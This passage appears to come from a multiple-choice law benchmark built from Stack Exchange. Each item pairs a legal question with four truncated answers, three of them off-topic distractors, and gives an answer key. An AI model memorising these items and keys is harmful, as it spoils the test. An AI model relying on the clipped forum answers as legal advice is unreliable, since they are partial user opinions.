off-the-shelf items, was asked for a phone number, paid in cash, then left. They just sent a text message claiming that buying anything from them constitutes waiver of right to sue them and consent to binding arbitration. Is the shop violating any law? The shop was in Ohio, United States of America.", "question_score": 44, "question_tags": ["united-states", "contract-law", "consumer-protection", "ohio", "arbitration"], "choices": {"A": "There is a history of \"giving away patents\", which allows the original grantor to foster innovation instead of stifle it. Here are some examples: Sealand Industries - ISO Shipping Container Patented the standard shipping container, then gave away the patent royalty free, allowing a revolution in ocean going shipping. Annually it is estimated that $440 billion are shipped through these containers. Tesla - 200+ patents Elon Musk announced that the company \"will not initiate patent lawsuits against anyone who, in good faith, wants to use our technology.\" . Toyota - Hydrogen Fuel Cell Patents Released 5,680 patents related to hydrogen...", "B": "Technically speaking, it's not illegal: spontaneously making a false statement to someone does not fall under any of Ohio's laws regarding fraud or the like. It also doesn't have any legal effect. You can't retroactively change the terms of a deal; if they didn't tell you about an arbitration requirement at the time you made the purchase, there is no arbitration requirement (and the burden of proof here is on them, not you).", "C": "Think through the logical combinations of two questions: The government is tyrannical or just, the revolution is successful or not. Tyrannical government, revolution successful: The revolutionaries will congratulate each other, and of course they are not persecuted by the new government they install . Just government, revolution successful: The revolutionaries will congratulate each other, and of course they are not persecuted by the new government they install . Tyrannical government, revolution not successful: The legal system will find the justified attempt illegal (because they are the legal system defending a tyrannical government), the would-be revolutionaries are persecuted. Just government, revolution...", "D": "Trump was an officer of the government, and Twitter wasn't. The First Amendment forbids the government and its agents from viewpoint discrimination, but private companies are not bound by it and can discriminate as much as they please. (There was a question as to whether such discrimination might affect whether the company enjoys a shield from liability under 47 USC 230 , but even so they have the right to block and censor as they wish if they are willing to risk that liability.)"}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/80047/after-buying-from-a-brick-mortar-shop-theyve-contacted-me-to-say-buying-thing"} {"id": "law_93045", "domain": "law", "question_title": "What 'specific legal meaning' does the word "strike" have?", "question_body": "Over on main meta, on the post containing a statement from Stack Overflow about the current moderator action , there was a brief edit war over the inclusion (or not) of the word \"strike\" in the title. An SO staff member said : While we recognize that the community is referring to this event as a \"strike\", that term has a specific legal meaning and we have been advised not to refer to it as such. For that reason, we ask that future editors of this post do not edit it to use that language. What 'specific legal meaning' might be being referred to here? Why might a corporation want the act of refusing to perform duties to not be referred to as a strike? Is it relevant that those withholding effort are unpaid volunteers? I'm guessing at the jurisdiction and hence the appropriate tag.", "question_score": 44, "question_tags": ["united-states", "labor-law"], "choices": {"A": "Short Answer Applicants are required by military regulation to have a percentile score on a standardized test called the ASVAB that is 31 or more, which is roughly comparable to an IQ score on the Stanford-Binet scale of a little bit less than 92, for high school graduates seeking to enter the Army or Navy (other services have more strict requirements and applicants with only a GED or to the national guard must have an ASVAB score in the 50th percentile which is equivalent to an IQ of 100). But, U.S. law allows the Department of Defense to allow people...", "B": "Yes. Let's assume this anecdote takes place while Gates was CEO. Bill Gates doesn't own all of Microsoft, and as an officer of the company, he owes a fiduciary duty to act in the best interests of the company and its shareholders as a whole. Taking the company's property for personal use breaches that fiduciary duty . Now, in this particular hypothetical, Gates might have a decent argument that, as a public figure who can afford any piece of technology he desires, him being seen using a Microsoft Surface actually is acting in the company's best interests. But that wouldn't...", "C": "Maybe, Hence the Lawsuits In the absence of clear statute law these all circle around tort law. For the scooter companies, trespass to chattels , and for the affected landowners (who hire the removalists) trespass to land and nuisance seem applicable. In essence, I can’t take your stuff (trespass to chattels) but you can’t leave your stuff on my property (trespass to land) or impeding access to it (nuisance). If you do, I am entitled to the reasonable costs of dealing with it. Note that, as owner, you remain responsible for you stuff even if you rented it to someone...", "D": "united-states Under US law, unions and employees enjoy a set of protections codified under the National Labor Relations Act. Some of those rights specifically pertain to strikes , and in particular, employees engaged in \"lawful\" strikes cannot be fired merely for striking (but they can be replaced). Stack Exchange, Inc. takes the position that moderators are not employees and are not subject to the NLRA. Their reluctance to use the word \"strike\" likely stems from this position. If the moderation strike were a \"strike\" within the meaning of the NLRA, that would imply a large and complex set of restrictions..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/93045/what-specific-legal-meaning-does-the-word-strike-have"} {"id": "law_11565", "domain": "law", "question_title": "Pokémon Go hot spots and private property", "question_body": "As we all know Pokémon Go is all the rage. There have been reports that police stations are common hot spots for gyms and collections. Churches have also been a common hot spot. I think there is also a story where a man bought an old church and now that is his residence. Regardless of whether that story is true it made me think: What is the legality of someone putting a virtual hot spot on your property without permission? I know we are in uncharted territory, but how would this compare to setting up a contest that would require going on your property without permission? Is it currently legal to say, \"Go to person X's house and touch a tree\"? If not, does the current law extend to augmented reality? To me both are attractions which cause a gathering of people.", "question_score": 43, "question_tags": ["privacy", "property", "trespass"], "choices": {"A": "What is the legality of someone putting a virtual hot spot on your property without permission? I know we are in uncharted territory but how would this compare to setting up a contest that would require going on your property without permission? The existence of a game does not authorise entrance to private property, barring some agreement with the owner. That is - if it is trespassing without Pokemon Go (or, for that matter Ingress), then it is trespassing while playing them. That being said, the creators of the game are free to place their in-game targets anywhere they please,...", "B": "The Plan For A Clearly Guilty Client Without Bargaining Power This question underestimates how much of a criminal defense lawyer's work involves sentencing rather than a determination of guilt or innocence. Suppose as the OP does that the prosecution can easily prove beyond a reasonable doubt that your client is guilty, you client has no plausible defenses, and the prosecutor won't budge on a plea. As a criminal defense lawyer, you may well advise your client that there is no percentage in fighting guilt on the charges, and have your client plea guilty. This prevents the prosecutor from spelling out...", "C": "Assuming U.S. Jurisdiction: In the case of The People vs. Hansel and Gretel Holzfaller: Ms. Gretel Holzfaller is charged with the following: 1 Count of Murder in the First Degree (Murder of Ms. Witch Hazel) 1 Count of Grand Larceny (Theft of precious metals and jewels from Ms. Hazel) 1 Count Petty Theft (Theft of Candy) 1 Count of Vandalism (Bite marks left in Gingerbread Masonry) 1 Count Trespassing Mr. Hansel Holzfaller is charged with the following: 1 Count of Accessory to Murder 1 Count of Grand Larceny 1 Count Petty Theft 1 Count of Vandalism 1 Count Trespassing Ms....", "D": "Trump was an officer of the government, and Twitter wasn't. The First Amendment forbids the government and its agents from viewpoint discrimination, but private companies are not bound by it and can discriminate as much as they please. (There was a question as to whether such discrimination might affect whether the company enjoys a shield from liability under 47 USC 230 , but even so they have the right to block and censor as they wish if they are willing to risk that liability.)"}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/11565/pok%c3%a9mon-go-hot-spots-and-private-property"} {"id": "law_77318", "domain": "law", "question_title": "Is "My Cousin Vinny" dismissal actually possible?", "question_body": "In one of my favorite films of all time, 1992's My Cousin Vinny , at the end of the trial when it's abundantly clear the prosecution will lose, at least that's the conclusion the filmmakers want the audience to surmise, Trotter pronounces... \"the state would like to dismiss all charges.\" And . . . as per Hollywood, everyone rejoices. I am fully aware movies are movies and not real life and the film is a pure work of fiction . Since I have no direct connection to anyone in the legal field, I thought I would ask some knowledgeable users about something that's always had me wondering. (Just saw the film again tonight.) I am aware that an acquittal means one can not be tried for the same crime again (double jeopardy). But a dismissal may not provide such protection. Acquittal meaning the prosecution could not prove the defendant committed the crime, whereas dismissal may allow for retrial. So, is there a legal basis for Trotter dismissing a case merely because he'll clearly lose? Common sense leans towards thinking this may be \"Hollywood fluff\" and it could not actually happen at the final stages of a trial so close to jury deliberation. But.. again, I don't really know. I think this is fluff because if it were actually possible, why wouldn't all prosecutors merely drop charges if they fear they are going to lose, then go build a better case and retry the defendant. Are the requirement for an actual dismissal more stringent than the film would have the audience believe or in this aspect, is the film pretty close to reality? (I am referencing U.S. criminal law in general)", "question_score": 43, "question_tags": ["united-states", "trial", "law-in-fiction", "dismissal"], "choices": {"A": "You don't know. You can't know. And you can't force the officer to tell you. Detention Status As a practical matter, you have no way of knowing if you are compelled to follow an officer's order because you are being detained unless the officer volunteers that information (your detention status) which they are not compelled to disclose and have every incentive not to disclose. Consider the situation when the officer does not have reasonable suspicion do detain you. If the officer instantly informs you that you are \"free to go\" then you are likely to leave and end the encounter...", "B": "Yes, it's illegal You are missing something terribly important: The package might not be your property [yet]. In any way, it is not in your possession, while it is in the hands of the postal service! The contents of the package started fully owned by the sender and were entrusted to the postal service to deliver it. This entrustment is (contractually) defined as the time it is handed to the postal service, but the postal service does not gain any ownership. They do however have insurance on the parcel (to some degree), as they are liable for the loss of...", "C": "Public nudity is illegal in New York as it is in almost every U.S. jurisdiction. And, if the police had arrested the nude protesters, the arrests probably would have been upheld in court, because a ban on nudity in public would probably be viewed as a time, place and manner restriction on the freedom of speech which is constitutionally valid. For example, the Ninth U.S. Circuit Court of Appeals recently upheld San Francisco’s public nudity ordinance in Taub v. City and County of San Francisco (2017). As the court in that case explains in a factually very similar case: Public...", "D": "This is entirely possible in a number of different motions that could have been made. At this point, Vinny had destroyed the Prosecutor's eyewitnesses by showing they had issues that called their testimony into question (The first has a timeline that doesn't line up with events, the second has poor vision and her prescription glasses were not doing their job, and the third had many obstructions blocking his view of the scene). His first witness tears apart the \"expert\" witness, who was only there to testify that the tires were the same brand (albeit, a popular brand at the time......"}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/77318/is-my-cousin-vinny-dismissal-actually-possible"} {"id": "law_1639", "domain": "law", "question_title": "What is the legal take on the trolley problem?", "question_body": "From the Wikipedia page on the trolley problem: There is a runaway trolley barreling down the railway tracks. Ahead, on the tracks, there are five people tied up and unable to move. The trolley is headed straight for them. You are standing some distance off in the train yard, next to a lever. If you pull this lever, the trolley will switch to a different set of tracks. However, you notice that there is one person on the side track. You have two options: (1) Do nothing, and the trolley kills the five people on the main track. (2) Pull the lever, diverting the trolley onto the side track where it will kill one person. What are the legal aspects of finding yourself in a train yard in the United States when this happens? Is it a crime to pull the lever? Is it a crime to not pull the lever? Does it depend on if you're professionally qualified to pull the lever?", "question_score": 42, "question_tags": ["united-states", "criminal-law", "trolley-problem"], "choices": {"A": "Short Answer Applicants are required by military regulation to have a percentile score on a standardized test called the ASVAB that is 31 or more, which is roughly comparable to an IQ score on the Stanford-Binet scale of a little bit less than 92, for high school graduates seeking to enter the Army or Navy (other services have more strict requirements and applicants with only a GED or to the national guard must have an ASVAB score in the 50th percentile which is equivalent to an IQ of 100). But, U.S. law allows the Department of Defense to allow people...", "B": "Parliamentary Supremacy was established by the Glorious Revolution of 1688 in which James II & VII was deposed by Parliament, and the line of succession was changed by Act of Parliament to favor William and Mary. Key laws passed during the aftermath of the Revolution included the Declaration of Right (which forbade keeping a standing army without Parliamentary consent, and put control of the military in Parliament), and the Coronation Oath Act 1688 which established in law obligations of the monarch. Since 1688 it has remained the governing principle of English (later British and UK) law that ultimate authority lies...", "C": "Doing nothing is legally safer than doing something, but you're not without hope if you pull the lever. Although you'll likely have committed murder or at least manslaughter, case law is littered with lenience in exigent circumstances, even where convictions have been affirmed. Because this is a philosophical problem, there are plenty of opinions from that perspective, but not so many from a legal standpoint. Let's assume that you're an innocent bystander, (not an employee of the railway company or the train company, etc) and have no duty to act. If you do nothing, then it is unlikely that you...", "D": "The answer from @user6726 is a good one. But, I'd like to add to it by pointing out that the body of law applicable to an individual is usually much, much smaller than the entire body of law. I'm a lawyer who has been in private practice for almost 25 years with an extremely diverse practice compared to the average lawyer, and I've never even looked at perhaps 80% of the laws on the books in the states where I practice, and even less elsewhere. By statutory and regulatory volume, the vast majority of statutory and regulatory law is applicable..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/1639/what-is-the-legal-take-on-the-trolley-problem"} {"id": "law_56782", "domain": "law", "question_title": "Is it a crime to take my own package from a delivery truck before it has reached my home?", "question_body": "Not that I would ever do this, but I'm curious: if I were to go into a stopped delivery truck and remove from it an item that is addressed to me, would this be a crime? If so what crime would it be? It seems to me that I would not be stealing anything since it's my own property that I'm taking. I might even have a reason to suspect that if I did not take the package from the truck, then the driver would leave it sitting out in the open where it would likely be stolen (or that the driver himself might steal it), in which case I'd actually be preventing a crime by taking it from the truck directly. I don't think this would be burglary either, since that would tend to require that I was breaking into a restricted area with the intent to commit a crime. Especially if the delivery truck had no doors or I acted while they'd been left open, then I wouldn't even be \"breaking and entering.\" I can't see this as being \"trespass\" if the truck was on a public street, unless trespass applies to the interior of vehicles. Even then, as long as I'd leave before anyone noticed me, I could just say I only went in to retrieve what's mine and prevent it from being damaged or stolen. So I'm guessing there must be some kind of arcane laws that only the US Postal Marshalls deal with. Yes, there are special guys called \"US Postal Marshalls,\" who investigate mail-related crimes. So I'm curious what crime this would be? Note: I did review this post about \"stealing your own property back\" but it does not really seem to apply here.", "question_score": 42, "question_tags": ["united-states", "property", "postal-service"], "choices": {"A": "There is a history of \"giving away patents\", which allows the original grantor to foster innovation instead of stifle it. Here are some examples: Sealand Industries - ISO Shipping Container Patented the standard shipping container, then gave away the patent royalty free, allowing a revolution in ocean going shipping. Annually it is estimated that $440 billion are shipped through these containers. Tesla - 200+ patents Elon Musk announced that the company \"will not initiate patent lawsuits against anyone who, in good faith, wants to use our technology.\" . Toyota - Hydrogen Fuel Cell Patents Released 5,680 patents related to hydrogen...", "B": "Yes, it's illegal You are missing something terribly important: The package might not be your property [yet]. In any way, it is not in your possession, while it is in the hands of the postal service! The contents of the package started fully owned by the sender and were entrusted to the postal service to deliver it. This entrustment is (contractually) defined as the time it is handed to the postal service, but the postal service does not gain any ownership. They do however have insurance on the parcel (to some degree), as they are liable for the loss of...", "C": "Virginia employer terminated employee and wants signing bonus returned Can the employer legally keep his last check and send the employee a bill for the remainder ? No, unless (1) the employee resigned and (2) his resignation does not amount to constructive termination . The employer may withhold the remaining $7,000 only if the employee did not meet the condition of \" 30 days of employment with xxxxx \". Absent any language to the contrary, the requirement of \" 1-year commitment \" is to be construed as the consideration expected from the employee (namely, \" not to quit \") in...", "D": "It is legal, at least in the US, for a store (or other entity) to refuse to sell any item to any individual for any non-prohibited reason (prohibited reasons are typically things like race or religion). More over, in various US jurisdictions, it is prohibited to \"furnish\" alcohol to a \"minor\" (for example, under California's ABC law), which can be interpreted as prohibiting to an adult if they reasonably suspect that adult will pass the alcohol onto the \"minor\". This is to prevent \"straw\" sales. Additionally, larger chains generally prefer to have harmonized policies across branches, and where practical, across..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/56782/is-it-a-crime-to-take-my-own-package-from-a-delivery-truck-before-it-has-reached"} {"id": "law_64534", "domain": "law", "question_title": "Is the President at the top of all organ waiting lists?", "question_body": "In the United States, people can often wait for years on organ lists before receiving the organ they need. Does the President automatically move to the top of these lists, should they find themselves in need of an organ, or do they have to wait like everyone else? Edit: Is there a legal mechanism in place for getting the President an organ, should they suddenly need one?", "question_score": 42, "question_tags": ["united-states", "medical", "us-president"], "choices": {"A": "Legally speaking, very many nations grant asylum, and religious persecution is one of the most basic grounds for granting asylum, following the 1951 Refugee Convention . This newspaper article compares asylum statistics in Ireland versus other parts of Europe. The Irish immigration authorities spell out the details for an asylum application. Note that you must already be in Ireland, to apply for asylum in Ireland (you should apply when you enter the country). One could also apply to Norway (almost an English-speaking country), but again you have to be in Norway to do so. There is a generic solution to...", "B": "There isn't any rule which would prioritize the President, as far as I can tell. Generally, organ allocation is required to be based on medical criteria, not on factors such as the occupation or societal role of the patient. 42 USC 273 specifies that organ procurement shall be administered by \"qualified organ procurement organizations\" and sets up ground rules for their operation, one of which is: have a system to allocate donated organs equitably among transplant patients according to established medical criteria. Further regulations implementing this law are to be found at 42 CFR 121 . 121.8(a)(1) specifies that allocation...", "C": "The article says: Defense lawyers say the evidence does not show a celebration of violence. Which implies that the prosecution claimed exactly that, or at least that the defense anticipates the prosecution to claim something along those lines. The article also says [ bold italic emphasis mine]: Defense lawyers for Rhodes have previously addressed the dinner, saying that prosecutors’ theory of the episode is incorrect. Rhodes’ lawyers said in a court filing the dinner is evidence that the militia leader wasn’t working to foment a revolution . “ The conditions would never be better . Yet, Rhodes and the others...", "D": "It is legal, at least in the US, for a store (or other entity) to refuse to sell any item to any individual for any non-prohibited reason (prohibited reasons are typically things like race or religion). More over, in various US jurisdictions, it is prohibited to \"furnish\" alcohol to a \"minor\" (for example, under California's ABC law), which can be interpreted as prohibiting to an adult if they reasonably suspect that adult will pass the alcohol onto the \"minor\". This is to prevent \"straw\" sales. Additionally, larger chains generally prefer to have harmonized policies across branches, and where practical, across..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/64534/is-the-president-at-the-top-of-all-organ-waiting-lists"} {"id": "law_54", "domain": "law", "question_title": "If the police search my vehicle or house without my consent, and they don't find anything, what recourse is there?", "question_body": "I understand that if the police perform an illegal search, then any evidence found during that search will be excluded from a trial, but what if they didn't find any evidence? If the police do an illegal search, and they don't find anything, is there anything I can do about it?", "question_score": 41, "question_tags": ["united-states", "search-and-seizure", "police"], "choices": {"A": "There are two parts to copyright liability: civil and criminal. TL;DR: both cases are criminal offences, and it is illegal to break the law even when you are paid to do it. In the USA criminal copyright infringement requires a deliberate act to infringe copyright for commercial gain. Both of the scenarios meet these requirements. In the UK (and probably the rest of Europe) criminal copyright infringement includes possess in the course of a business an article which is, and which you know or have reason to believe is an infringing copy of a copyright work with a view to...", "B": "Your question is the subject of longstanding and ongoing debate that has generated countless articles and books and dissertations, so you're probably not going to get a fully satisfactory answer here. But here's the short version: Different systems operate on different assumptions. Your question suggests you are not a retributivist, i.e., someone who views sentencing as a means for taking retribution for the criminal's offenses. Some systems (most, I imagine) are built around that idea, but some view criminal sentencing primarily as a means of preventing recidivism, or as a means for achieving rehabilitation, the interests you indicated you see...", "C": "As stated, this is not a reasonable restriction and runs afoul of the Fair Housing Act . You cannot discriminate based on family status, with an exemption for \" housing for older persons \", and the act \"does not limit the applicability of reasonable local, state, or federal restrictions regarding the maximum number of occupants permitted to occupy a dwelling\" (let's leave aside HOA restrictions for a moment). The number of occupants can legally be restricted in terms of a reasonable relation to a legitimate interest such as parking availability, safety, noise or securing the property. A restriction based on...", "D": "You can file a federal criminal complaint under 18 USC 242 - Deprivation of rights under color of law , or (most commonly) a civil claim under 42 USC 1983 for the violation of your civil rights. There are usually state laws, from some form of harassment (usually a summary offense) to misdemeanors like the Official Oppression we have in Pennsylvania. Note that you can file these complaints even if they do find something incriminating. An illegal search is illegal regardless of its fruits."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/54/if-the-police-search-my-vehicle-or-house-without-my-consent-and-they-dont-find"} {"id": "law_28878", "domain": "law", "question_title": "How is it legal for a hospital to put two patients together in the same room in the US?", "question_body": "In the United States we have HIPAA regulations in place to (among other things) prevent healthcare providers, insurance providers, and any other entity that handles medical information from leaking patient information. From my experience with various HIPAA certifications, it seems pretty stringent. No leak is too small. So how is it legal for a healthcare provider to pair up two or more patients in a single room, when they are under inpatient care for several days? I ask this because I recently stayed in the hospital for 2 nights. Never spoke one word to the old guy I was roommates with. When I was discharged, I knew the following details about him: his full name his DOB his medical record # (if I felt like writing it down) some of his prior health history (he fought, and won, a battle with colon cancer) the reason he was in the hospital now (hasn't pooped in over a week) current health concerns (doctors wanted to do a biopsy to make sure the colon cancer wasn't back) These were all details given verbally by one or many different doctors or nurses over the course of my 3 days, 2 nights in the hospital. Of course, I'm sure he knows a lot of my details now, too, for the same reason - we were inpatient roommates in the hospital and the doctors used no discretion when discussing my condition. So how is this legal?", "question_score": 41, "question_tags": ["united-states", "health", "hipaa"], "choices": {"A": "As a short answer, guidance from the Department of Health and Human Services has clarified that HIPAA does not require hospitals to provide separate rooms. As a longer answer, HIPAA is very deeply misunderstood. It does not prohibit \"leaking\" patient information; it prohibits unreasonable and unpermitted disclosures of protected health information (PHI). Among the PHI disclosures that are permitted are uses that are for the purpose of delivering medical treatment . Of course, the covered entity (in this case, the hospital) is required to take reasonable measures to safeguard that information. One of the areas that trips people up is...", "B": "Yes. Let's assume this anecdote takes place while Gates was CEO. Bill Gates doesn't own all of Microsoft, and as an officer of the company, he owes a fiduciary duty to act in the best interests of the company and its shareholders as a whole. Taking the company's property for personal use breaches that fiduciary duty . Now, in this particular hypothetical, Gates might have a decent argument that, as a public figure who can afford any piece of technology he desires, him being seen using a Microsoft Surface actually is acting in the company's best interests. But that wouldn't...", "C": "Through the legal doctrine of \"transferred intent\", wherein if one intends to murder A, and undertake actions to kill A, but one's actions kill B, one has murdered B. Whatever crimes one would have committed, had one performed them on one's intended target, are considered committed against the individual one actually performed them on. Many crimes require one to have mens rea to be guilty; they do not require one to have mens rea towards a given individual. So, so long as one had the proper intent to murder someone, the actual victim of their actions is irrelevant.", "D": "Maybe, Hence the Lawsuits In the absence of clear statute law these all circle around tort law. For the scooter companies, trespass to chattels , and for the affected landowners (who hire the removalists) trespass to land and nuisance seem applicable. In essence, I can’t take your stuff (trespass to chattels) but you can’t leave your stuff on my property (trespass to land) or impeding access to it (nuisance). If you do, I am entitled to the reasonable costs of dealing with it. Note that, as owner, you remain responsible for you stuff even if you rented it to someone..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/28878/how-is-it-legal-for-a-hospital-to-put-two-patients-together-in-the-same-room-in"} {"id": "law_87343", "domain": "law", "question_title": "Does Elon Musk have any grounds for legal action against people who track his plane?", "question_body": "Most airplanes, including Elon Musk's private jet, are required by law to broadcast their location throughout a flight in a well-documented, unencrypted digital format called ADS-B. This system is a critical part of aviation safety infrastructure. Several services, such as FlightAware, FlightRadar24, and ADS-B Exchange, collect this information with ground-based radio receivers and publish it on the Internet. FlightAware and FlightRadar24 will hide aircraft on request from the owner, but ADS-B Exchange does not, and provides unfiltered data. Elon Musk has threatened to take legal action against people who share tracking data from his jet online, referring to it as \"doxxing\" and claiming it's a threat to his safety. He also bans Twitter users who post any plane-tracking information. I don't see how he could have any claim for legal action against people who track his jet. As I have mentioned, ADS-B data is by no means private. When you are on an airplane, there is no reasonable expectation of privacy for your location. Collecting public information about a controversial public figure seems like a very clear case for First Amendment protection. This wouldn't affect his ability to ban Twitter users; he can (within reason) ban anyone for anything on Twitter because he owns it. (It's quite odd that he claims to be a free-speech absolutist but censors the reposting of public information, but that's beside the point.) It would, however, seem to preclude any involvement of the government. What possible legal action could Elon Musk take against people who post ADS-B data from his private jet?", "question_score": 41, "question_tags": ["united-states", "privacy", "freedom-of-speech", "first-amendment", "air-travel"], "choices": {"A": "Specifically, the threatened action is about stalking and implicit threats to his family. I'm not suggesting that there is a lot of merit to the claim, but that is how he is presenting the argument. The question would be where there is an intentional, repeated following of a person for the purpose of harassing the person with express or implied threats of violence or death. The jury would have to decide whether the implicit threat is credible (somebody plans to blow him or his family out of the sky), a decision would probably turn on the number of death threats...", "B": "There isn't any rule which would prioritize the President, as far as I can tell. Generally, organ allocation is required to be based on medical criteria, not on factors such as the occupation or societal role of the patient. 42 USC 273 specifies that organ procurement shall be administered by \"qualified organ procurement organizations\" and sets up ground rules for their operation, one of which is: have a system to allocate donated organs equitably among transplant patients according to established medical criteria. Further regulations implementing this law are to be found at 42 CFR 121 . 121.8(a)(1) specifies that allocation...", "C": "Yes you can, and you can even include \"editorials or subjective content\". However, if you include factual statements, or words that imply factual statements, the company could claim that they are false, and therefore defamatory. Indeed they might claim that in any case. If you make no false statements of fact, they should not be able to win a defamation suit, but you might need to spend time and money defending yourself if they choose to sue. The detailed rules on defamation vary by jurisdiction, in the US by state. But in no US state can defamation be found against...", "D": "Yes. Let's assume this anecdote takes place while Gates was CEO. Bill Gates doesn't own all of Microsoft, and as an officer of the company, he owes a fiduciary duty to act in the best interests of the company and its shareholders as a whole. Taking the company's property for personal use breaches that fiduciary duty . Now, in this particular hypothetical, Gates might have a decent argument that, as a public figure who can afford any piece of technology he desires, him being seen using a Microsoft Surface actually is acting in the company's best interests. But that wouldn't..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/87343/does-elon-musk-have-any-grounds-for-legal-action-against-people-who-track-his-pl"} {"id": "law_268", "domain": "law", "question_title": "What is the legal status of "warrant canaries"?", "question_body": "A warrant canary is a repeated claim by an individual or organization that they have not been served any warrants with an attached gag order. The idea is that you can say whatever you like if you have not been served such a warrant, but if you are ever served a warrant you simply stop publishing your warrant canary. Attentive listeners or readers would infer that you have been served a warrant, contrary to the intent of the gag order. The EFF gives an overview of these warrant canaries here: https://www.eff.org/deeplinks/2014/04/warrant-canary-faq What legal theories would support or harm the case of anyone attempting this technique?", "question_score": 40, "question_tags": ["united-states", "freedom-of-speech"], "choices": {"A": "The question actually asked, \"what legal theories would support or harm...\", is somewhat unclear. But what the questioner seems to be asking is, basically, what would happen if you tried it? The answer, it seems to me, is pretty straightforward. In the hypothetical case, you have been publishing a notice for years, saying \"I have not been served with a subpoena.\" You then get served with a subpoena that includes a gag order. The gag order, presumably, includes wording prohibiting you from revealing the existence of the subpoena. You then cease publication of the warrant canary. By doing so, you...", "B": "Through the legal doctrine of \"transferred intent\", wherein if one intends to murder A, and undertake actions to kill A, but one's actions kill B, one has murdered B. Whatever crimes one would have committed, had one performed them on one's intended target, are considered committed against the individual one actually performed them on. Many crimes require one to have mens rea to be guilty; they do not require one to have mens rea towards a given individual. So, so long as one had the proper intent to murder someone, the actual victim of their actions is irrelevant.", "C": "Technically anyone can sit on a jury. Lawyers are not automatically excluded from juries anymore, as being called for jury duty is a right and a duty that the law abhors automatically excluding people from. That is the official line on this. However, in reality, lawyers will always be stricken from serving by one of the lawyers trying the case. Each lawyer has a certain number of preemptory strikes (the ability to get rid of a juror for any reason, aside from those protected by law, such as race, religion, etc). They also have unlimited \"for cause strikes,\" which are...", "D": "You don't know. You can't know. And you can't force the officer to tell you. Detention Status As a practical matter, you have no way of knowing if you are compelled to follow an officer's order because you are being detained unless the officer volunteers that information (your detention status) which they are not compelled to disclose and have every incentive not to disclose. Consider the situation when the officer does not have reasonable suspicion do detain you. If the officer instantly informs you that you are \"free to go\" then you are likely to leave and end the encounter..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/268/what-is-the-legal-status-of-warrant-canaries"} {"id": "law_596", "domain": "law", "question_title": "What legal liability does one's participation on Stack Exchange carry?", "question_body": "This question is motivated by a question which came up recently on engineering.SE: Cracks on the wall . It may be closed in the future so I will summarize. The user posted pictures of (very large) cracks in the wall of his house and asked the community \"could you please advice to do continue the construction as per proper standard or I have demolish the house and re-built again?\" A professional engineer advising this individual under the auspices of a hired firm would have certain legal obligations to the correctness of their opinion. If one were to advise this individual in a way that led to him living in an unsafe structure on Stack Exchange, what legal repercussions could they face? In particular, is there any legal precedent (read prior court case) which absolves freely offered online advice from liability?", "question_score": 40, "question_tags": ["internet", "liability"], "choices": {"A": "I imagine that under English and Welsh law, the relevant tort would negligent misstatement, as there is no contract between the parties. From Practical Law : A claim for negligent misstatement may arise whether or not a contractual relationship exists between the parties. However, if there is a contractual relationship, it is more likely that a claim would be brought for negligent misrepresentation. Whether or not a claim for negligent misstatement would succeed would depend on several factors. Firstly, a duty of care must exist between the parties. From the Oxford Dictionary of Law : A negligent misstatement is only...", "B": "Yes you can, and you can even include \"editorials or subjective content\". However, if you include factual statements, or words that imply factual statements, the company could claim that they are false, and therefore defamatory. Indeed they might claim that in any case. If you make no false statements of fact, they should not be able to win a defamation suit, but you might need to spend time and money defending yourself if they choose to sue. The detailed rules on defamation vary by jurisdiction, in the US by state. But in no US state can defamation be found against...", "C": "A few years ago, there was a trial in the USA about some short sound on some music CD: One party claimed that one piece of music on the CD contained a sound of less than one second length which is copied from another CD without the permission of the copyright owner of the other CD. It could never be found out if this claim was really true. The court's decision was: If it is not possible to distinguish between a copy and a work that does not depend on the other work at all, it is not a copyright...", "D": "Yes, it's illegal You are missing something terribly important: The package might not be your property [yet]. In any way, it is not in your possession, while it is in the hands of the postal service! The contents of the package started fully owned by the sender and were entrusted to the postal service to deliver it. This entrustment is (contractually) defined as the time it is handed to the postal service, but the postal service does not gain any ownership. They do however have insurance on the parcel (to some degree), as they are liable for the loss of..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/596/what-legal-liability-does-ones-participation-on-stack-exchange-carry"} {"id": "law_2223", "domain": "law", "question_title": "Why does browser cache not count as copyright infringement?", "question_body": "My browser is saving a copy of the web pages I visit on my computer. How is that not copyright infringement? in this answer I read: I would hazard a guess that displaying an HTML webpage online is implicitly allowing others to read that code How does that imply that you can make a local copy, when a web page includes a copyright note, or does not mention copyright at all (in which case standard copyright rules apply)? I suspect that the only possible way out would be stating that digital text is not the same thing as printed text and therefore the same rules should not apply, but we are constantly told the opposite, aren't we? UPDATE I'm adding some quotes from the only answer and comments below, to bring more elements for further answers that I hope will come, since I'm still not convinced that this situation makes completely sense. It has been pointed out that Fortunately I don't need to be convinced, as I'm not a judge on a relevant case (Jon Story. I changed \"you\" from the original comment to \"I\" ) And that's totally true, so I feel like reassuring that my question comes only out of my couriosity and noone needs to answer if they don't wish to satisfy that. I'd like to receive an answer that copes with some alternative views seen here, possibily making me understand which one is right (or more logical, or more convincing). I don't mean 